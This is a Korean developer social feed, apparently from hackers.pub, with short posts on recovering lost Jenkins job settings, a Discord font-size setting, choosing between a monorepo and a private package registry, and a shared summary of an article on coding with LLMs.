와, 진짜 이제 접속 안 됩니다! 국토교통부 공무원 여러분 고생하셨습니다.

1

Jenkins의 모든 Job 설정이 날아간 사건과 복구한 얘기

Juntai Park @arkjun@hackers.pub

Jenkins Job 설정이 전부 사라진 아찔한 사건과 이를 해결한 과정을 소개합니다. Jenkins를 사용하던 중 플러그인 충돌과 네트워크 정책 문제로 Job 설정이 초기화되는 문제가 발생했습니다. 원인은 특정 해외 mirror에 대한 접근 차단으로 인한 플러그인 설치 실패 및 기존 버전과의 충돌이었습니다. 서버 차단 정책을 수정하고 플러그인을 업데이트한 후, Jenkins 자체도 최신 버전으로 업그레이드하여 문제를 해결했습니다. 다행히 빌드 기록이 남아 있어 Pipeline Script를 복구하여 Job 설정을 복원할 수 있었습니다. 이 경험을 통해 Jenkins는 플러그인 의존도가 높고, 네트워크 환경에 민감하며, Job 설정 백업이 필수적임을 다시 한번 깨달았습니다. CI/CD도 코드처럼 관리해야 한다는 기본기를 상기시켜주는 계기가 되었습니다.

Read more →
5

이거 위험하지 않나... 관리 주체가 어딜까? 경찰이 하나?

0
3

최근 디스코드 메시지를 모바일 앱에서도 종종 확인해야 하는 경우가 있는데, 메시지의 글씨 크기가 작아서 불편하던 차에, 클래식 채팅 문자 크기 라는 옵션이 켜져있고 이 옵션이 켜져 있으면 글씨 크기가 작아진다는 것을 알게 되어, 바로 옵션을 꺼버렸다. (중년 개발자들에게 이 옵션을 끄는 것을 추천합니다.)

디스코드 앱의 클래식 채팅 문자 크기 옵션. 활성화 시 채팅 문자의 폰트 크기가 살짝 작아진다.
4

최종적으로는 Monorepo로 구성했다. 각각이 장단점이 있는 선택지라서, 고민고민하다가, 개발중 반복작업을 최소화하는 쪽과 미래의 누군가 유지보수하기 편한 (혹은 내가 유지보수한다면 좀 더 편할 것으로 예상되는) 쪽에 무게를 두기로 했고 그렇게 Monorepo로 결정했다. 결국 AI의 추천대로 흘러가고 있..

3

Juntai Park shared the below article:

내가 LLM과 함께 코딩하는 방식

洪 民憙 (Hong Minhee) @hongminhee@hackers.pub

이 글은 저자가 LLM(Large Language Model)을 활용하여 코딩하는 방법에 대한 개인적인 경험과 팁을 공유합니다. LLM 코딩 에이전트 사용 시 맥락 제공의 중요성을 강조하며, Claude Code 모델을 선호하는 이유와 그 장단점을 설명합니다. 세부적인 지시를 위해 GitHub 이슈를 활용하고, 설계는 사람이, 구현은 LLM이 담당하는 역할 분담을 제안합니다. 또한, 프로젝트 지침을 담은 *AGENTS\.md* 파일의 중요성과 Context7을 활용한 문서 제공 방법을 소개합니다. 계획 모드를 통해 LLM이 스스로 피드백 루프를 돌도록 유도하고, 필요한 경우 손 코딩을 병행하여 코딩의 재미를 유지하는 전략을 제시합니다. 이 글은 LLM을 단순한 도구가 아닌 협력적인 동료로 활용하여 개발 효율성을 높이는 방법을 모색하는 개발자들에게 유용한 인사이트를 제공합니다.

Read more →
37
0
1

동일한 DB 스키마를 사용하는 4개의 프로젝트를 만들었다. UI 컴포넌트가 공통적으로 겹치는 부분도 있어서 이참에 Monorepo 구성을 검토했다가 (ChatGPT와 Claude의 답변 최우선순위도 Monorepo 구성으로 추천받았다) 결론적으로는 Private Package Registry를 사용해서 패키지 공유해서 쓰는 쪽으로 방향을 잡았다.

1
0
7